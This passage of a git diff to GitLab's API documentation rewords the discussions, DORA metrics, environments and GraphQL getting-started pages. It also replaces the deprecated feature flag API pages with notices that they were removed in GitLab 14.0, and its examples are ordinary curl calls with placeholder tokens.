curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/groups/5/epics/11/discussions?body=comment"
@@ -596,7 +596,7 @@ Parameters:
| `discussion_id` | integer | yes | The ID of a thread |
| `note_id` | integer | yes | The ID of a thread note |
| `body` | string | yes | The content of the note/reply |
-| `created_at` | string | no | Date time string, ISO 8601 formatted, e.g. 2016-03-11T03:45:40Z (requires administrator or project/group owner rights) |
+| `created_at` | string | no | Date time string, ISO 8601 formatted, such as `2016-03-11T03:45:40Z` (requires administrator or project/group owner rights) |
```shell
curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/groups/5/epics/11/discussions/6a9c1750b37d513a43987b574953fceb50b03ce7/notes?body=comment"
@@ -847,7 +847,7 @@ Parameters for all comments:
| `merge_request_iid` | integer | yes | The IID of a merge request |
| `body` | string | yes | The content of the thread |
| `commit_id` | string | no | SHA referencing commit to start this thread on |
-| `created_at` | string | no | Date time string, ISO 8601 formatted, e.g. 2016-03-11T03:45:40Z (requires administrator or project/group owner rights) |
+| `created_at` | string | no | Date time string, ISO 8601 formatted, such as `2016-03-11T03:45:40Z` (requires administrator or project/group owner rights) |
| `position` | hash | no | Position when creating a diff note |
| `position[base_sha]` | string | yes | Base commit SHA in the source branch |
| `position[start_sha]` | string | yes | SHA referencing commit in target branch |
@@ -902,7 +902,7 @@ To create a new thread:
"previous versions are here"
]
```
-
+
1. Create a new diff thread. This example creates a thread on an added line:
```shell
@@ -981,7 +981,7 @@ Parameters:
| `discussion_id` | integer | yes | The ID of a thread |
| `note_id` | integer | yes | The ID of a thread note |
| `body` | string | yes | The content of the note/reply |
-| `created_at` | string | no | Date time string, ISO 8601 formatted, e.g. 2016-03-11T03:45:40Z (requires administrator or project/group owner rights) |
+| `created_at` | string | no | Date time string, ISO 8601 formatted, such as `2016-03-11T03:45:40Z` (requires administrator or project/group owner rights) |
```shell
curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/5/merge_requests/11/discussions/6a9c1750b37d513a43987b574953fceb50b03ce7/notes?body=comment"
@@ -1216,7 +1216,7 @@ Parameters:
| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) |
| `commit_id` | integer | yes | The ID of a commit |
| `body` | string | yes | The content of the thread |
-| `created_at` | string | no | Date time string, ISO 8601 formatted, e.g. 2016-03-11T03:45:40Z (requires administrator or project/group owner rights) |
+| `created_at` | string | no | Date time string, ISO 8601 formatted, such as `2016-03-11T03:45:40Z` (requires administrator or project/group owner rights) |
| `position` | hash | no | Position when creating a diff note |
| `position[base_sha]` | string | yes | Base commit SHA in the source branch |
| `position[start_sha]` | string | yes | SHA referencing commit in target branch |
@@ -1252,7 +1252,7 @@ Parameters:
| `discussion_id` | integer | yes | The ID of a thread |
| `note_id` | integer | yes | The ID of a thread note |
| `body` | string | yes | The content of the note/reply |
-| `created_at` | string | no | Date time string, ISO 8601 formatted, e.g. 2016-03-11T03:45:40Z (requires administrator or project/group owner rights) |
+| `created_at` | string | no | Date time string, ISO 8601 formatted, such `2016-03-11T03:45:40Z` (requires administrator or project/group owner rights) |
```shell
curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/5/commits/11/discussions/6a9c1750b37d513a43987b574953fceb50b03ce7/notes?body=comment
diff --git a/doc/api/dora/metrics.md b/doc/api/dora/metrics.md
index 31e6fee66ca..99826550b61 100644
--- a/doc/api/dora/metrics.md
+++ b/doc/api/dora/metrics.md
@@ -7,7 +7,8 @@ type: reference, api
# DevOps Research and Assessment (DORA) key metrics API **(ULTIMATE)**
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/279039) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 13.10.
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/279039) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 13.10.
+> - The legacy key/value pair `{ "<date>" => "<value>" }` was removed from the payload in GitLab 14.0.
All methods require [reporter permissions and above](../../user/permissions.md).
@@ -38,14 +39,14 @@ Example response:
```json
[
- { "2021-03-01": 3, "date": "2021-03-01", "value": 3 },
- { "2021-03-02": 6, "date": "2021-03-02", "value": 6 },
- { "2021-03-03": 0, "date": "2021-03-03", "value": 0 },
- { "2021-03-04": 0, "date": "2021-03-04", "value": 0 },
- { "2021-03-05": 0, "date": "2021-03-05", "value": 0 },
- { "2021-03-06": 0, "date": "2021-03-06", "value": 0 },
- { "2021-03-07": 0, "date": "2021-03-07", "value": 0 },
- { "2021-03-08": 4, "date": "2021-03-08", "value": 4 }
+ { "date": "2021-03-01", "value": 3 },
+ { "date": "2021-03-02", "value": 6 },
+ { "date": "2021-03-03", "value": 0 },
+ { "date": "2021-03-04", "value": 0 },
+ { "date": "2021-03-05", "value": 0 },
+ { "date": "2021-03-06", "value": 0 },
+ { "date": "2021-03-07", "value": 0 },
+ { "date": "2021-03-08", "value": 4 }
]
```
@@ -78,14 +79,14 @@ Example response:
```json
[
- { "2021-03-01": 3, "date": "2021-03-01", "value": 3 },
- { "2021-03-02": 6, "date": "2021-03-02", "value": 6 },
- { "2021-03-03": 0, "date": "2021-03-03", "value": 0 },
- { "2021-03-04": 0, "date": "2021-03-04", "value": 0 },
- { "2021-03-05": 0, "date": "2021-03-05", "value": 0 },
- { "2021-03-06": 0, "date": "2021-03-06", "value": 0 },
- { "2021-03-07": 0, "date": "2021-03-07", "value": 0 },
- { "2021-03-08": 4, "date": "2021-03-08", "value": 4 }
+ { "date": "2021-03-01", "value": 3 },
+ { "date": "2021-03-02", "value": 6 },
+ { "date": "2021-03-03", "value": 0 },
+ { "date": "2021-03-04", "value": 0 },
+ { "date": "2021-03-05", "value": 0 },
+ { "date": "2021-03-06", "value": 0 },
+ { "date": "2021-03-07", "value": 0 },
+ { "date": "2021-03-08", "value": 4 }
]
```
diff --git a/doc/api/dora4_group_analytics.md b/doc/api/dora4_group_analytics.md
index 743dcf728a2..501bf824f03 100644
--- a/doc/api/dora4_group_analytics.md
+++ b/doc/api/dora4_group_analytics.md
@@ -1,5 +1,6 @@
---
redirect_to: 'dora/metrics.md'
+remove_date: '2021-07-25'
---
This document was moved to [another location](dora/metrics.md).
diff --git a/doc/api/environments.md b/doc/api/environments.md
index 7340fe9f9e9..4c93b3b15d5 100644
--- a/doc/api/environments.md
+++ b/doc/api/environments.md
@@ -164,7 +164,8 @@ POST /projects/:id/environments
| `external_url` | string | no | Place to link to for this environment |
```shell
-curl --data "name=deploy&external_url=https://deploy.gitlab.example.com" --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/1/environments"
+curl --data "name=deploy&external_url=https://deploy.gitlab.example.com" \
+ --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/1/environments"
```
Example response:
@@ -197,7 +198,8 @@ PUT /projects/:id/environments/:environments_id
| `external_url` | string | no | The new `external_url` |
```shell
-curl --request PUT --data "name=staging&external_url=https://staging.gitlab.example.com" --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/1/environments/1"
+curl --request PUT --data "name=staging&external_url=https://staging.gitlab.example.com" \
+ --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/1/environments/1"
```
Example response:
diff --git a/doc/api/feature_flag_specs.md b/doc/api/feature_flag_specs.md
index 45db47f5ffe..33e454d50c4 100644
--- a/doc/api/feature_flag_specs.md
+++ b/doc/api/feature_flag_specs.md
@@ -8,293 +8,5 @@ info: To determine the technical writer assigned to the Stage/Group associated w
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/9566) in [GitLab Premium](https://about.gitlab.com/pricing/) 12.5.
-WARNING:
-This API is deprecated and [scheduled for removal in GitLab 14.0](https://gitlab.com/gitlab-org/gitlab/-/issues/213369).
-
-The API for creating, updating, reading and deleting Feature Flag Specs.
-Automation engineers benefit from this API by being able to modify Feature Flag Specs without accessing user interface.
-To manage the [Feature Flag](../operations/feature_flags.md) resources via public API, please refer to the [Feature Flags API](feature_flags.md) document.
-
-Users with Developer or higher [permissions](../user/permissions.md) can access Feature Flag Specs API.
-
-## List all effective feature flag specs under the specified environment
-
-Get all effective feature flag specs under the specified [environment](../ci/environments/index.md).
-
-For instance, there are two specs, `staging` and `production`, for a feature flag.
-When you pass `production` as a parameter to this endpoint, the system returns
-the `production` feature flag spec only.
-
-```plaintext
-GET /projects/:id/feature_flag_scopes
-```
-
-| Attribute | Type | Required | Description |
-| ------------------- | ---------------- | ---------- | --------------------------------------------------------------------------------------------------------------------------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). |
-| `environment` | string | yes | The [environment](../ci/environments/index.md) name |
-
-```shell
-curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/1/feature_flag_scopes?environment=production"
-```
-
-Example response:
-
-```json
-[
- {
- "id": 88,
- "active": true,
- "environment_scope": "production",
- "strategies": [
- {
- "name": "userWithId",
- "parameters": {
- "userIds": "1,2,3"
- }
- }
- ],
- "created_at": "2019-11-04T08:36:41.327Z",
- "updated_at": "2019-11-04T08:36:41.327Z",
- "name": "awesome_feature"
- },
- {
- "id": 82,
- "active": true,
- "environment_scope": "*",
- "strategies": [
- {
- "name": "default",
- "parameters": {}
- }
- ],
- "created_at": "2019-11-04T08:13:51.425Z",
- "updated_at": "2019-11-04T08:39:45.751Z",
- "name": "merge_train"
- },
- {
- "id": 81,
- "active": false,
- "environment_scope": "production",
- "strategies": [
- {
- "name": "default",
- "parameters": {}
- }
- ],
- "created_at": "2019-11-04T08:13:10.527Z",
- "updated_at": "2019-11-04T08:13:10.527Z",
- "name": "new_live_trace"
- }
-]
-```
-
-## List all specs of a feature flag
-
-Get all specs of a feature flag.
-
-```plaintext
-GET /projects/:id/feature_flags/:name/scopes
-```
-
-| Attribute | Type | Required | Description |
-| ------------------- | ---------------- | ---------- | --------------------------------------------------------------------------------------------------------------------------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). |
-| `name` | string | yes | The name of the feature flag. |
-
-```shell
-curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/1/feature_flags/new_live_trace/scopes"
-```
-
-Example response:
-
-```json
-[
- {
- "id": 79,
- "active": false,
- "environment_scope": "*",
- "strategies": [
- {
- "name": "default",
- "parameters": {}
- }
- ],
- "created_at": "2019-11-04T08:13:10.516Z",
- "updated_at": "2019-11-04T08:13:10.516Z"
- },
- {
- "id": 80,
- "active": true,
- "environment_scope": "staging",
- "strategies": [
- {
- "name": "default",
- "parameters": {}
- }
- ],
- "created_at": "2019-11-04T08:13:10.525Z",
- "updated_at": "2019-11-04T08:13:10.525Z"
- },
- {
- "id": 81,
- "active": false,
- "environment_scope": "production",
- "strategies": [
- {
- "name": "default",
- "parameters": {}
- }
- ],
- "created_at": "2019-11-04T08:13:10.527Z",
- "updated_at": "2019-11-04T08:13:10.527Z"
- }
-]
-```
-
-## New feature flag spec
-
-Creates a new feature flag spec.
-
-```plaintext
-POST /projects/:id/feature_flags/:name/scopes
-```
-
-| Attribute | Type | Required | Description |
-| ------------------- | ---------------- | ---------- | --------------------------------------------------------------------------------------------------------------------------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). |
-| `name` | string | yes | The name of the feature flag. |
-| `environment_scope` | string | yes | The [environment spec](../ci/environments/index.md#scoping-environments-with-specs) of the feature flag. |
-| `active` | boolean | yes | Whether the spec is active. |
-| `strategies` | JSON | yes | The [strategies](../operations/feature_flags.md#feature-flag-strategies) of the feature flag spec. |
-
-```shell
-curl "https://gitlab.example.com/api/v4/projects/1/feature_flags/new_live_trace/scopes" \
- --header "PRIVATE-TOKEN: <your_access_token>" \
- --header "Content-type: application/json" \
- --data @- << EOF
-{
- "environment_scope": "*",
- "active": false,
- "strategies": [{ "name": "default", "parameters": {} }]
-}
-EOF
-```
-
-Example response:
-
-```json
-{
- "id": 81,
- "active": false,
- "environment_scope": "*",
- "strategies": [
- {
- "name": "default",
- "parameters": {}
- }
- ],
- "created_at": "2019-11-04T08:13:10.527Z",
- "updated_at": "2019-11-04T08:13:10.527Z"
-}
-```
-
-## Single feature flag spec
-
-Gets a single feature flag spec.
-
-```plaintext
-GET /projects/:id/feature_flags/:name/scopes/:environment_scope
-```
-
-| Attribute | Type | Required | Description |
-| ------------------- | ---------------- | ---------- | ---------------------------------------------------------------------------------------|
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). |
-| `name` | string | yes | The name of the feature flag. |
-| `environment_scope` | string | yes | The URL-encoded [environment spec](../ci/environments/index.md#scoping-environments-with-specs) of the feature flag. |
-
-```shell
-curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/:id/feature_flags/new_live_trace/scopes/production"
-```
-
-Example response:
-
-```json
-{
- "id": 81,
- "active": false,
- "environment_scope": "production",
- "strategies": [
- {
- "name": "default",
- "parameters": {}
- }
- ],
- "created_at": "2019-11-04T08:13:10.527Z",
- "updated_at": "2019-11-04T08:13:10.527Z"
-}
-```
-
-## Edit feature flag spec
-
-Updates an existing feature flag spec.
-
-```plaintext
-PUT /projects/:id/feature_flags/:name/scopes/:environment_scope
-```
-
-| Attribute | Type | Required | Description |
-| ------------------- | ---------------- | ---------- | --------------------------------------------------------------------------------------------------------------------------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). |
-| `name` | string | yes | The name of the feature flag. |
-| `environment_scope` | string | yes | The URL-encoded [environment spec](../ci/environments/index.md#scoping-environments-with-specs) of the feature flag. |
-| `active` | boolean | yes | Whether the spec is active. |
-| `strategies` | JSON | yes | The [strategies](../operations/feature_flags.md#feature-flag-strategies) of the feature flag spec. |
-
-```shell
-curl "https://gitlab.example.com/api/v4/projects/1/feature_flags/new_live_trace/scopes/production" \
- --header "PRIVATE-TOKEN: <your_access_token>" \
- --header "Content-type: application/json" \
- --data @- << EOF
-{
- "active": true,
- "strategies": [{ "name": "userWithId", "parameters": { "userIds": "1,2,3" } }]
-}
-EOF
-```
-
-Example response:
-
-```json
-{
- "id": 81,
- "active": true,
- "environment_scope": "production",
- "strategies": [
- {
- "name": "userWithId",
- "parameters": { "userIds": "1,2,3" }
- }
- ],
- "created_at": "2019-11-04T08:13:10.527Z",
- "updated_at": "2019-11-04T08:13:10.527Z"
-}
-```
-
-## Delete feature flag spec
-
-Deletes a feature flag spec.
-
-```plaintext
-DELETE /projects/:id/feature_flags/:name/scopes/:environment_scope
-```
-
-| Attribute | Type | Required | Description |
-| ------------------- | ---------------- | ---------- | ---------------------------------------------------------------------------------------|
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). |
-| `name` | string | yes | The name of the feature flag. |
-| `environment_scope` | string | yes | The URL-encoded [environment spec](../ci/environments/index.md#scoping-environments-with-specs) of the feature flag. |
-
-```shell
-curl --header "PRIVATE-TOKEN: <your_access_token>" --request DELETE "https://gitlab.example.com/api/v4/projects/1/feature_flags/new_live_trace/scopes/production"
-```
+This API was removed in [GitLab 14.0](https://gitlab.com/gitlab-org/gitlab/-/issues/213369).
+Please use [the new API](feature_flags.md) instead.
diff --git a/doc/api/feature_flags_legacy.md b/doc/api/feature_flags_legacy.md
index 6e0763b6015..262e1c537a4 100644
--- a/doc/api/feature_flags_legacy.md
+++ b/doc/api/feature_flags_legacy.md
@@ -9,315 +9,5 @@ info: To determine the technical writer assigned to the Stage/Group associated w
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/9566) in GitLab Premium 12.5.
> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/212318) to GitLab Free in 13.5.
-WARNING:
-This API is deprecated and [scheduled for removal in GitLab 14.0](https://gitlab.com/gitlab-org/gitlab/-/issues/213369). Use [this API](feature_flags.md) instead.
-
-API for accessing resources of [GitLab Feature Flags](../operations/feature_flags.md).
-
-Users with Developer or higher [permissions](../user/permissions.md) can access Feature Flag API.
-
-## Feature Flags pagination
-
-By default, `GET` requests return 20 results at a time because the API results
-are [paginated](README.md#pagination).
-
-## List feature flags for a project
-
-Gets all feature flags of the requested project.
-
-```plaintext
-GET /projects/:id/feature_flags
-```
-
-| Attribute | Type | Required | Description |
-| ------------------- | ---------------- | ---------- | --------------------------------------------------------------------------------------------------------------------------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). |
-| `scope` | string | no | The condition of feature flags, one of: `enabled`, `disabled`. |
-
-```shell
-curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/1/feature_flags"
-```
-
-Example response:
-
-```json
-[
- {
- "name":"merge_train",
- "description":"This feature is about merge train",
- "active": true,
- "created_at":"2019-11-04T08:13:51.423Z",
- "updated_at":"2019-11-04T08:13:51.423Z",
- "scopes":[
- {
- "id":82,
- "active":false,
- "environment_scope":"*",
- "strategies":[
- {
- "name":"default",
- "parameters":{
-
- }
- }
- ],
- "created_at":"2019-11-04T08:13:51.425Z",
- "updated_at":"2019-11-04T08:13:51.425Z"
- },
- {
- "id":83,
- "active":true,
- "environment_scope":"review/*",
- "strategies":[
- {
- "name":"default",
- "parameters":{
-
- }
- }
- ],
- "created_at":"2019-11-04T08:13:51.427Z",
- "updated_at":"2019-11-04T08:13:51.427Z"
- },
- {
- "id":84,
- "active":false,
- "environment_scope":"production",
- "strategies":[
- {
- "name":"default",
- "parameters":{
-
- }
- }
- ],
- "created_at":"2019-11-04T08:13:51.428Z",
- "updated_at":"2019-11-04T08:13:51.428Z"
- }
- ]
- },
- {
- "name":"new_live_trace",
- "description":"This is a new live trace feature",
- "active": true,
- "created_at":"2019-11-04T08:13:10.507Z",
- "updated_at":"2019-11-04T08:13:10.507Z",
- "scopes":[
- {
- "id":79,
- "active":false,
- "environment_scope":"*",
- "strategies":[
- {
- "name":"default",
- "parameters":{
-
- }
- }
- ],
- "created_at":"2019-11-04T08:13:10.516Z",
- "updated_at":"2019-11-04T08:13:10.516Z"
- },
- {
- "id":80,
- "active":true,
- "environment_scope":"staging",
- "strategies":[
- {
- "name":"default",
- "parameters":{
-
- }
- }
- ],
- "created_at":"2019-11-04T08:13:10.525Z",
- "updated_at":"2019-11-04T08:13:10.525Z"
- },
- {
- "id":81,
- "active":false,
- "environment_scope":"production",
- "strategies":[
- {
- "name":"default",
- "parameters":{
-
- }
- }
- ],
- "created_at":"2019-11-04T08:13:10.527Z",
- "updated_at":"2019-11-04T08:13:10.527Z"
- }
- ]
- }
-]
-```
-
-## New feature flag
-
-Creates a new feature flag.
-
-```plaintext
-POST /projects/:id/feature_flags
-```
-
-| Attribute | Type | Required | Description |
-| ------------------- | ---------------- | ---------- | ---------------------------------------------------------------------------------------|
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). |
-| `name` | string | yes | The name of the feature flag. |
-| `description` | string | no | The description of the feature flag. |
-| `active` | boolean | no | The active state of the flag. Defaults to true. [Supported](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/38350) in GitLab 13.3 and later. |
-| `scopes` | JSON | no | The feature flag specs of the feature flag. |
-| `scopes:environment_scope` | string | no | The environment spec. |
-| `scopes:active` | boolean | no | Whether the spec is active. |
-| `scopes:strategies` | JSON | no | The [strategies](../operations/feature_flags.md#feature-flag-strategies) of the feature flag spec. |
-
-```shell
-curl "https://gitlab.example.com/api/v4/projects/1/feature_flags" \
- --header "PRIVATE-TOKEN: <your_access_token>" \
- --header "Content-type: application/json" \
- --data @- << EOF
-{
- "name": "awesome_feature",
- "scopes": [{ "environment_scope": "*", "active": false, "strategies": [{ "name": "default", "parameters": {} }] },
- { "environment_scope": "production", "active": true, "strategies": [{ "name": "userWithId", "parameters": { "userIds": "1,2,3" } }] }]
-}
-EOF
-```
-
-Example response:
-
-```json
-{
- "name":"awesome_feature",
- "description":null,
- "active": true,
- "created_at":"2019-11-04T08:32:27.288Z",
- "updated_at":"2019-11-04T08:32:27.288Z",
- "scopes":[
- {
- "id":85,
- "active":false,
- "environment_scope":"*",
- "strategies":[
- {
- "name":"default",
- "parameters":{
-
- }
- }
- ],
- "created_at":"2019-11-04T08:32:29.324Z",
- "updated_at":"2019-11-04T08:32:29.324Z"
- },
- {
- "id":86,
- "active":true,
- "environment_scope":"production",
- "strategies":[
- {
- "name":"userWithId",
- "parameters":{
- "userIds":"1,2,3"
- }
- }
- ],
- "created_at":"2019-11-04T08:32:29.328Z",
- "updated_at":"2019-11-04T08:32:29.328Z"
- }
- ]
-}
-```
-
-## Single feature flag
-
-Gets a single feature flag.
-
-```plaintext
-GET /projects/:id/feature_flags/:name
-```
-
-| Attribute | Type | Required | Description |
-| ------------------- | ---------------- | ---------- | ---------------------------------------------------------------------------------------|
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). |
-| `name` | string | yes | The name of the feature flag. |
-
-```shell
-curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/1/feature_flags/new_live_trace"
-```
-
-Example response:
-
-```json
-{
- "name":"new_live_trace",
- "description":"This is a new live trace feature",
- "active": true,
- "created_at":"2019-11-04T08:13:10.507Z",
- "updated_at":"2019-11-04T08:13:10.507Z",
- "scopes":[
- {
- "id":79,
- "active":false,
- "environment_scope":"*",
- "strategies":[
- {
- "name":"default",
- "parameters":{
-
- }
- }
- ],
- "created_at":"2019-11-04T08:13:10.516Z",
- "updated_at":"2019-11-04T08:13:10.516Z"
- },
- {
- "id":80,
- "active":true,
- "environment_scope":"staging",
- "strategies":[
- {
- "name":"default",
- "parameters":{
-
- }
- }
- ],
- "created_at":"2019-11-04T08:13:10.525Z",
- "updated_at":"2019-11-04T08:13:10.525Z"
- },
- {
- "id":81,
- "active":false,
- "environment_scope":"production",
- "strategies":[
- {
- "name":"default",
- "parameters":{
-
- }
- }
- ],
- "created_at":"2019-11-04T08:13:10.527Z",
- "updated_at":"2019-11-04T08:13:10.527Z"
- }
- ]
-}
-```
-
-## Delete feature flag
-
-Deletes a feature flag.
-
-```plaintext
-DELETE /projects/:id/feature_flags/:name
-```
-
-| Attribute | Type | Required | Description |
-| ------------------- | ---------------- | ---------- | ---------------------------------------------------------------------------------------|
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). |
-| `name` | string | yes | The name of the feature flag. |
-
-```shell
-curl --header "PRIVATE-TOKEN: <your_access_token>" --request DELETE "https://gitlab.example.com/api/v4/projects/1/feature_flags/awesome_feature"
-```
+This API was removed in [GitLab 14.0](https://gitlab.com/gitlab-org/gitlab/-/issues/213369).
+Please use [the new API](feature_flags.md) instead.
diff --git a/doc/api/graphql/getting_started.md b/doc/api/graphql/getting_started.md
index b48ce48f6c3..85b36346167 100644
--- a/doc/api/graphql/getting_started.md
+++ b/doc/api/graphql/getting_started.md
@@ -4,12 +4,13 @@ group: Ecosystem
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# Getting started with GitLab GraphQL API
+# Get started with GitLab GraphQL API **(FREE)**
This guide demonstrates basic usage of the GitLab GraphQL API.
-See the [GraphQL API style guide](../../development/api_graphql_styleguide.md) for implementation details
-aimed at developers who wish to work on developing the API itself.
+Read the [GraphQL API style guide](../../development/api_graphql_styleguide.md)
+for implementation details aimed at developers who wish to work on developing
+the API itself.
## Running examples
@@ -20,38 +21,43 @@ The examples documented here can be run using:
### Command line
-You can run GraphQL queries in a `curl` request on the command line on your local machine.
-A GraphQL request can be made as a `POST` request to `/api/graphql` with the query as the payload.
-You can authorize your request by generating a [personal access token](../../user/profile/personal_access_tokens.md)
-to use as a bearer token.
+You can run GraphQL queries in a `curl` request on the command line on your
+local computer. A GraphQL request can be made as a `POST` request to `/api/graphql`
+with the query as the payload. You can authorize your request by generating a
+[personal access token](../../user/profile/personal_access_tokens.md) to use as
+a bearer token.
Example:
```shell
GRAPHQL_TOKEN=<your-token>
-curl "https://gitlab.com/api/graphql" --header "Authorization: Bearer $GRAPHQL_TOKEN" --header "Content-Type: application/json" --request POST --data "{\"query\": \"query {currentUser {name}}\"}"
+curl "https://gitlab.com/api/graphql" --header "Authorization: Bearer $GRAPHQL_TOKEN" \
+ --header "Content-Type: application/json" --request POST \
+ --data "{\"query\": \"query {currentUser {name}}\"}"
```
### GraphiQL
-GraphiQL (pronounced "graphical") allows you to run queries directly against the server endpoint
-with syntax highlighting and autocomplete. It also allows you to explore the schema and types.
+GraphiQL (pronounced "graphical") allows you to run queries directly against
+the server endpoint with syntax highlighting and autocomplete. It also allows
+you to explore the schema and types.
The examples below:
-- Can be run directly against GitLab 11.0 or later, though some of the types and fields
-may not be supported in older versions.
-- Works against GitLab.com without any further setup. Make sure you are signed in and
-navigate to the [GraphiQL Explorer](https://gitlab.com/-/graphql-explorer).
+- Can be run directly against GitLab 11.0 or later, though some of the types
+ and fields may not be supported in older versions.
+- Works against GitLab.com without any further setup. Make sure you are signed
+ in and navigate to the [GraphiQL Explorer](https://gitlab.com/-/graphql-explorer).
-If you want to run the queries locally, or on a self-managed instance,
-you must either:
+If you want to run the queries locally, or on a self-managed instance, you must
+either:
-- Create the `gitlab-org` group with a project called `graphql-sandbox` under it. Create
-several issues within the project.
-- Edit the queries to replace `gitlab-org/graphql-sandbox` with your own group and project.
+- Create the `gitlab-org` group with a project called `graphql-sandbox` under
+ it. Create several issues in the project.
+- Edit the queries to replace `gitlab-org/graphql-sandbox` with your own group
+ and project.
-Please refer to [running GraphiQL](index.md#graphiql) for more information.
+Refer to [running GraphiQL](index.md#graphiql) for more information.
NOTE:
If you are running GitLab 11.0 to 12.0, enable the `graphql`
@@ -72,8 +78,8 @@ which is an object identifier in the format of `"gid://gitlab/Issue/123"`.
[GitLab GraphQL Schema](reference/index.md) outlines which objects and fields are
available for clients to query and their corresponding data types.
-Example: Get only the names of all the projects the currently logged in user can access (up to a limit, more on that later)
-in the group `gitlab-org`.
+Example: Get only the names of all the projects the currently logged in user can
+access (up to a limit) in the group `gitlab-org`.
```graphql
query {
@@ -106,12 +112,12 @@ query {
When retrieving child nodes use:
-- the `edges { node { } }` syntax.
-- the short form `nodes { }` syntax.
+- The `edges { node { } }` syntax.
+- The short form `nodes { }` syntax.
Underneath it all is a graph we are traversing, hence the name GraphQL.
-Example: Get a project (only its name) and the titles of all its issues.
+Example: Get the name of a project, and the titles of all its issues.
```graphql
query {
@@ -128,23 +134,24 @@ query {
```
More about queries:
-[GraphQL docs](https://graphql.org/learn/queries/)
+[GraphQL documentation](https://graphql.org/learn/queries/)
### Authorization
-Authorization uses the same engine as the GitLab application (and GitLab.com). So if you've signed in to GitLab
-and use GraphiQL, all queries are performed as you, the signed in user. For more information, see the
+Authorization uses the same engine as the GitLab application (and GitLab.com).
+If you've signed in to GitLab and use GraphiQL, all queries are performed as
+you, the signed in user. For more information, read the
[GitLab API documentation](../README.md#authentication).
### Mutations
-Mutations make changes to data. We can update, delete, or create new records. Mutations
-generally use InputTypes and variables, neither of which appear here.
+Mutations make changes to data. We can update, delete, or create new records.
+Mutations generally use InputTypes and variables, neither of which appear here.
Mutations have:
- Inputs. For example, arguments, such as which emoji you'd like to award,
-and to which object.
+ and to which object.
- Return statements. That is, what you'd like to get back when it's successful.
- Errors. Always ask for what went wrong, just in case.
@@ -172,8 +179,9 @@ mutation {
}
```
-Example: Add a comment to the issue (we're using the ID of the `GitLab.com` issue - but
-if you're using a local instance, you must get the ID of an issue you can write to).
+Example: Add a comment to the issue. In this example, we use the ID of the
+`GitLab.com` issue. If you're using a local instance, you must get the ID of an
+issue you can write to.
```graphql
mutation {
@@ -194,7 +202,8 @@ mutation {
#### Update mutations
-When you see the result `id` of the note you created - take a note of it. Now let's edit it to sip faster!
+When you see the result `id` of the note you created, take a note of it. Let's
+edit it to sip faster.
```graphql
mutation {
@@ -212,7 +221,7 @@ mutation {
#### Deletion mutations
-Let's delete the comment, since our tea is all gone.
+Let's delete the comment, because our tea is all gone.
```graphql
mutation {
@@ -242,16 +251,18 @@ You should get something like the following output:
We've asked for the note details, but it doesn't exist anymore, so we get `null`.
More about mutations:
-[GraphQL Docs](https://graphql.org/learn/queries/#mutations).
+[GraphQL Documentation](https://graphql.org/learn/queries/#mutations).
### Introspective queries
Clients can query the GraphQL endpoint for information about its own schema.
by making an [introspective query](https://graphql.org/learn/introspection/).
+The [GraphiQL Query Explorer](https://gitlab.com/-/graphql-explorer) uses an
+introspection query to:
-It is through an introspection query that the [GraphiQL Query Explorer](https://gitlab.com/-/graphql-explorer)
-gets all of its knowledge about our GraphQL schema to do autocompletion and provide
-its interactive `Docs` tab.
+- Gain knowledge about our GraphQL schema.
+- Do autocompletion.
+- Provide its interactive `Docs` tab.
Example: Get all the type names in the schema.
@@ -265,8 +276,8 @@ Example: Get all the type names in the schema.
}
```
-Example: Get all the fields associated with Issue.
-`kind` tells us the enum value for the type, like `OBJECT`, `SCALAR` or `INTERFACE`.
+Example: Get all the fields associated with Issue. `kind` tells us the enum
+value for the type, like `OBJECT`, `SCALAR` or `INTERFACE`.
```graphql
query IssueTypes {
@@ -285,12 +296,12 @@ query IssueTypes {
```
More about introspection:
-[GraphQL docs](https://graphql.org/learn/introspection/)
+[GraphQL documentation](https://graphql.org/learn/introspection/)
## Sorting
-Some of the GitLab GraphQL endpoints allow you to specify how you'd like a collection of
-objects to be sorted. You can only sort by what the schema allows you to.
